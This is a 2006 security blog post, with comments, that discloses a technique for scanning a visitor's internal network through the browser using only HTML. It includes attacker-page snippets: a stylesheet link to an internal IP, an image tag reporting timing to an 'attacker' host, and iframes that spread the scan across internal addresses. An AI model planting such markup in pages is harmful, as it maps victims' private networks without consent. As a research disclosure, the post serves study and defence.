Tuesday, November 28, 2006

Browser Port Scanning without JavaScript

Update 2: Ilia Alshanetsky has already found a way to improve upon the technique using the obscure content-type "multipart/x-mixed-replace". There's a great write up and some PHP PoC code to go with it. Good stuff! RSnake has been covering the topic as well.

Update
: A sla.ckers.org project thread has been created to exchange results. Already the first post has some interesting bits.

Since my Intranet Hacking Black Hat (Vegas 2006) presentation, I've spent a lot of time researching HTML-only browser malware since many experts now disable JavaScript. Imagine that! Using some timing tricks, I "think" I've discovered a way to perform Intranet Port Scanning with a web browser using only HTML. Unfortunately time constraints are preventing me from finishing the proof-of-concept code anytime soon. Instead of waiting I decided to describe the idea so maybe others could try it out. Here's how its supposed to work... there are the two important lines of HTML:

HTML is hosted on an "attacker" control website.
<* link rel="stylesheet" type="text/css" href="http://192.168.1.100/" />
<* img src="http://attacker/check_time.pl?ip=192.168.1.100&start= epoch_timer" />

The LINK tag has the unique behavior of causing the browser (Firefox) to stop parsing the rest of the web page until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer and data transport mechanism back to the attacker. One the web page is loaded, at some point in the future a request is received by check_time.pl. By comparing the current epoch to the initial “epoch_timer” value (when the web page was dynamically generated) its possible to tell if the host is up. If the time difference is less than say 5 seconds then likely the host is up, if more, then the host is probably down (browser waited for timeout). Simple.

Example (attacker web server logs)

/check_time.pl?ip=192.168.1.100&start=1164762276
Current epoch: 1164762279
(3 second delay) - Host is up

/check_time.pl?ip=192.168.1.100&start=1164762276
Current epoch: 1164762286
(10 second delay) - Host is down

A few browser/network nuances have caused stability and accuracy headaches, plus the technique is somewhat slow to scan with. To fork the connections I used multiple IFRAMES HTML connections, which seemed to work.

<* iframe src="/portscan.pl?ip=192.168.201.100" scrolling="no"><* /iframe>
<* iframe src="/portscan.pl?ip=192.168.201.101" scrolling="no">
<* /iframe>
<* iframe src="/portscan.pl?ip=192.168.201.102" scrolling="no">
<* /iframe>

I'm pretty sure most of the issues can be worked around, but like I said, I lack the time. If anyone out there takes this up as a cause, let me know, I have some Perl scraps if you want them.

15 comments:

Anonymous said...

very impressive..

Jeremiah Grossman said...

Thank you. I was just trying to keep up with your Google XSS UTF-7 encoding hack. :) That was a good piece of work as well.

Unknown said...

Don't forget that this can be used for "actual" portscanning of selected hosts too, not just checking for webservers.

Anonymous said...

I played with this just a bit last night, and it's easy to compile a list of IPs, but it doesn't seem as easy to compile a list of ports.

Aside from the time-consuming aspect of it, refused connections fail quickly, so it's difficult to distinguish them from successful connections.

Knowing whether a request for a particular IP and port times out is still pretty valuable.

Jeremiah Grossman said...

Anders,

It probably could, I just never got that far.


Kryan,

email me and I'll hand em over.


Chris,

> Aside from the time-consuming aspect of it, refused connections fail quickly, so it's difficult to distinguish them from successful connections.

Yes, thats right. Refused connections (host is up) and web servers responding (host is and port is open) has been difficult to distinguish between. But if this only turns into a ping sweep, hey, that might not be such a bad thing either. :)

DM said...

I'd love to take a look at the perl scripts as well.

-David Mortman

Unknown said...

Great post. I've decided to see if there can be an easy way to implement timeouts in Firefox and it looks like with Content-Type: multipart/x-mixed-replace; it is quite possible. Since the full text is too long for a reply in a blog, I've made a separate blog entry which can be found here that describes the process.

In about 2-3 minutes entire 192.168.1. could be scanned using this process via a single link in my tests.

Jeremiah Grossman said...

David,

If you wouldn't mind, drop me an email and I'd be happy to share some source code. jeremiah __at__ whitehatsec.com. However, I think Ilia (below) has just trumped me.



Ilia,

All I gotta say is WOW. I knew people would push the envelope if I only explained the concept, but I never thought this fast and that well. I'm going to have to spend some quality time with your examples. Great stuff.

Kishor said...
This comment has been removed by a blog administrator.
Kishor said...

http://wasjournal.blogspot.com/2006/12/use-of-time-delay-technique-for.html

Anonymous said...

thank u r information

it very useful

u r blog Is very nice

Anonymous said...

that is very impressive. you have probably eploited one of the best of today's internet security weaknesses.

Anonymous said...

since you have now created a powerful port scanner, how do you know which ip addresses to scan when there are so many possibilities?

Jeremiah Grossman said...

@13yr. Simple, read RFC 1918. http://www.faqs.org/rfcs/rfc1918.html

Basically private IPs are numbered predictably. Or, you can use an applet.

http://www.reglos.de/myaddress/MyAddress.html

Brad Fallon said...

Whats a good tool to notify you of when someone is port scanning your network?